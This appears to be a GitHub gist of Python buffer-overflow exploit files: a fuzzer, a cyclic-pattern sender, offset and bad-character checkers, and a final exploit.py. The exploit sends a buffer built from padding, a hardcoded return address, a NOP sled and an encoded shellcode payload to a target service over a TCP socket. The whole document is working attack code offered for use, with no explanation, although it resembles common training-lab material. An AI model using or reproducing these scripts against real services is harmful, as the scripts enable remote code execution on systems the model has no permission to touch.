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HarshitRuwali/badchars.py

Created June 3, 2021 17:15
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Buffer Overflow exploit files
Raw
badchars.py
import socket
ip = ""
port =
prefix = ""
offset = 634
overflow = "A" * offset + "B"*4
retn = ""
padding = ""
payload = ""
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + badchars + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Raw
exploit.py
import socket
ip = "1"
port =
prefix = ""
offset = 634
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = (
"\xfc\xbb\x94\xfa\x8d\xa0\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x68\x12\x0f\xa0\x90"
"\xe3\x70\x28\x75\xd2\xb0\x4e\xfe\x45\x01\x04\x52\x6a\xea\x48"
"\x46\xf9\x9e\x44\x69\x4a\x14\xb3\x44\x4b\x05\x87\xc7\xcf\x54"
"\xd4\x27\xf1\x96\x29\x26\x36\xca\xc0\x7a\xef\x80\x77\x6a\x84"
"\xdd\x4b\x01\xd6\xf0\xcb\xf6\xaf\xf3\xfa\xa9\xa4\xad\xdc\x48"
"\x68\xc6\x54\x52\x6d\xe3\x2f\xe9\x45\x9f\xb1\x3b\x94\x60\x1d"
"\x02\x18\x93\x5f\x43\x9f\x4c\x2a\xbd\xe3\xf1\x2d\x7a\x99\x2d"
"\xbb\x98\x39\xa5\x1b\x44\xbb\x6a\xfd\x0f\xb7\xc7\x89\x57\xd4"
"\xd6\x5e\xec\xe0\x53\x61\x22\x61\x27\x46\xe6\x29\xf3\xe7\xbf"
"\x97\x52\x17\xdf\x77\x0a\xbd\x94\x9a\x5f\xcc\xf7\xf2\xac\xfd"
"\x07\x03\xbb\x76\x74\x31\x64\x2d\x12\x79\xed\xeb\xe5\x7e\xc4"
"\x4c\x79\x81\xe7\xac\x50\x46\xb3\xfc\xca\x6f\xbc\x96\x0a\x8f"
"\x69\x38\x5a\x3f\xc2\xf9\x0a\xff\xb2\x91\x40\xf0\xed\x82\x6b"
"\xda\x85\x29\x96\x8d\xa3\xbc\x9c\x9d\xdc\xbc\x9c\x3e\x34\x48"
"\x7a\x2a\x56\x1c\xd5\xc3\xcf\x05\xad\x72\x0f\x90\xc8\xb5\x9b"
"\x17\x2d\x7b\x6c\x5d\x3d\xec\x9c\x28\x1f\xbb\xa3\x86\x37\x27"
"\x31\x4d\xc7\x2e\x2a\xda\x90\x67\x9c\x13\x74\x9a\x87\x8d\x6a"
"\x67\x51\xf5\x2e\xbc\xa2\xf8\xaf\x31\x9e\xde\xbf\x8f\x1f\x5b"
"\xeb\x5f\x76\x35\x45\x26\x20\xf7\x3f\xf0\x9f\x51\xd7\x85\xd3"
"\x61\xa1\x89\x39\x14\x4d\x3b\x94\x61\x72\xf4\x70\x66\x0b\xe8"
"\xe0\x89\xc6\xa8\x01\x68\xc2\xc4\xa9\x35\x87\x64\xb4\xc5\x72"
"\xaa\xc1\x45\x76\x53\x36\x55\xf3\x56\x72\xd1\xe8\x2a\xeb\xb4"
"\x0e\x98\x0c\x9d\x0e\x1e\xf3\x1e"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Raw
fuzzer.py
#!/usr/bin/env python3
import socket, time, sys
ip = ""
port =
timeout = 5
prefix = ""
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Raw
offset.py
import socket
ip = ""
port =
prefix = ""
offset = 634
overflow = "A" * offset + "B"*4
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Raw
pattern.py
import socket
ip = ""
port =
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
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